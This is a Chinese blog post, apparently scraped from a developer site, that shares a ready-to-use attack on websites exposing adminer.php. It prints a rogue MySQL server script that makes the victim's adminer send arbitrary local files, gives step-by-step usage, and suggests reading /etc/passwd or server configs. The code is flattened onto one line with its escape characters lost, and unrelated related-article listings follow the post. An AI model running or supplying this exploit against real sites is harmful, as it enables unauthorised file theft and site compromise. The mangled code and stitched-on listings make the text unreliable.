这个漏洞我没有找到具体的出处,所以我没有详述此漏洞的前因后果,但是因为有很强的实战性,有必要分享给大家。

简单一点讲,如果你扫描网站目录,恰巧碰上了adminer.php这个链接,恭喜你,不需要密码,基本你可以搞定此站了。

利用的工具mysql.py,代码如下:

#coding=utf-8 import socketimport loggingimport syslogging.basicConfig(level=logging.DEBUG)filename=sys.argv[1]sv=socket.socket()sv.setsockopt(1,2,1)sv.bind(("",3306))sv.listen(5)conn,address=sv.accept()logging.info('Conn from: %r', address)conn.sendall("x4ax00x00x00x0ax35x2ex35x2ex35x33x00x17x00x00x00x6ex7ax3bx54x76x73x61x6ax00xffxf7x21x02x00x0fx80x15x00x00x00x00x00x00x00x00x00x00x70x76x21x3dx50x5cx5ax32x2ax7ax49x3fx00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00")conn.recv(9999)logging.info("auth okay")conn.sendall("x07x00x00x02x00x00x00x02x00x00x00")conn.recv(9999)logging.info("want file...")wantfile=chr(len(filename)+1)+"x00x00x01xFB"+filenameconn.sendall(wantfile)content=conn.recv(9999)logging.info(content)conn.close()

实战测试:

第一步,在VPS上执行此代码。

我文章是用我的虚拟机和物理机演示的。在我的虚拟机kali上执行的:python mysql.py "要读的目标站点的文件"

我KALI虚拟机的IP地址是192.168.1.5

保障你的VPS中的用这个mysql.py开的3306端口是可以被外部连上的。

第二步,打开目标站的adminer.php,输入vps的地址,用户名和密码乱写就可以。

我是用本机的物理机演示的。

第三步,点击登陆,在你的vps上就得到要读的止标站点文件的源码了。

在上图中,我读的是物理机中的d:/1.bat,因为1.bat里有中文,所以有乱码。

另外,有个小技巧,如果不知物理目录的话,你可以在第一步中执行python mysql.py “xxx",有可能暴出物理目录。当然,你也可以读/etc/passwd,iis下的配置文件来得到目标站的物理目录。还有,如果复制本文中代码不方便的话,也可以利用https://github.com/allyshka/Rogue-MySql-Server此脚本。

kali无法共享本机文件_MySQL服务端读取客户端文件漏洞的复现相关推荐

  1. html读取本地txt_利用MySQL/MariaDB的逻辑缺陷伪造恶意服务端读取客户端文件

    为了方便某些场景的使用,MySQL提供了LOAD DATA LOCAL INFILE语句,允许从客户端导入文件数据到服务器中.然而,由于此功能的实现逻辑存在一定缺陷,可能会造成服务端能在未经客户端允许 ...

  2. mysql 读取data文件_利用mysql的LOAD DATA INFILE的功能读取客户端文件

    前言:今天在浏览某知论坛时,看到某大佬在渗透过程中使用伪造的MySQL服务端读取客户端文件,此大佬在利用过程中描述得不是很详细,作为小白的我看不懂啊,由此产生了此篇文章. 某大佬文章:https:// ...

  3. 客户机服务器文件更新,服务端数据更新,如何更新客户端缓存

    我是服务端 被客户端吐槽说我的API接口没有数据版本号(用来表示后台数据是否有更新),导致客户端缓存不知道什么时候更新,每次都要请求服务端数据 对此有几点疑虑,特来请教各位大拿 客户端缓存更新是否真的 ...

  4. nodejs01——安装及使用、服务端及客户端、commonjs规范、fs模块的使用(文件操作及目录操作)、stream、buffer、WebServer、端口、动态资源及静态资源、头信息、请求方式

    nodejs的安装及使用 服务端及客户端 commonjs规范 fs模块的使用(文件操作及目录操作) stream buffer // Node.js介绍 Node.js 诞生于2009年,Node. ...

  5. 使用C++的Socket实现从客户端到服务端,服务端到客户端传输文件

    使用: (1)首先运行服务端,待服务端运行起来: (2)最后运行客户端,输入要传输文件到哪个目标机器的IP地址: (3)输入传输文件的路径及文件(完成的路径),其中包含文件的类型,也就是后缀需要包含( ...

  6. android显示服务器端文件夹,Android上传文件到服务端并显示进度条

    最近在做上传文件的服务,简单看了网上的教程.结合实践共享出代码. 由于网上的大多数没有服务端的代码,这可不行呀,没服务端怎么调试呢. Ok,先上代码. Android 上传比较简单,主要用到的是 Ht ...

  7. 网络启动安装linux客户机nfs设置,NFS服务端和客户端安装配置

    一  NFS介绍 NFS用的比较多,但是更新没有想象的那么快,Nginx一年要迭代很多个版本,而NFS最新版本4.1是2010年更新的,到目前为止还没有更新过,但这并不影响NFS使用的广泛性 RPC协 ...

  8. C#在客户端和服务端操作Excel文件

    一.在客户端把数据导入到Excel文件步骤 1.创建Excel application对象,打开或生成Excel文件 //服务端创建StringBuilder对象     System.Text.St ...

  9. C# Socket服务端与客户端通信(包含大文件的断点传输)

    步骤: 一.服务端的建立 1.服务端的项目建立以及页面布局 2.各功能按键的事件代码 1)传输类型说明以及全局变量 2)Socket通信服务端具体步骤:   (1)建立一个Socket   (2)接收 ...

最新文章

  1. 直播 | ACL 2021论文解读:提升预训练语言模型实体与关系理解的统一框架
  2. boost::phoenix::lambda相关的测试程序
  3. matlab绘图z=sin(x,用matlab编写函数文件,实现绘制函数 z= sin(x+y)/(x+y)在【-2:2,-2:2]的图像...
  4. /usr/lib/libstdc++.so.6: version `GLIBCXX_3.4.15' not found错误的解决
  5. 混凝土墙开洞_新乐专业混凝土切割报价适中
  6. 今天来谈谈面试官最喜欢问JS中的闭包问题吧
  7. 计算机小白可以学python吗_非计算机专业小白如何系统学Python语言
  8. EXCEL-VBA函数:公历转农历,返回格式YYYY-MM-DD
  9. 顺序表的基本操作(超详细)
  10. 如何在搜狗高速浏览器设置代理IP
  11. archLinux安装记录
  12. C语言C Prime总结(2-7章)
  13. Android扫描车牌,车牌拍照识别SDK
  14. 广域网 —— HDLC协议
  15. 【知识图谱】Neo4j Cypher查询语言详解
  16. 测试枕头软件,占卜测试: 哪个枕头抱起来最舒服? 测测看你目前的生活状态如何...
  17. 上海的国家重点软件企业27家
  18. 移动硬盘中安装Windows10
  19. 谷歌手表android wear2,Android Wear 2.0正式发布:将谷歌助手放进你的手表
  20. el-form表单验证身份证合法性和手机号格式

热门文章

  1. Servlet Request
  2. php程序设计经典300例,第16-20例
  3. CentOS FireFox Flash Player
  4. LA 3263 That Nice Euler Circuit (2D Geometry)
  5. SharePoint 2013网站管理-网站策略(关闭和删除策略)
  6. Delphi XE10.1 引用计数
  7. 【改进】用Log4net建立日志记录
  8. [Prism框架实用分享]如何在主程序中合理的弹出子窗体
  9. Vijos 1092 全排列
  10. 家庭作业-有关圣马丁节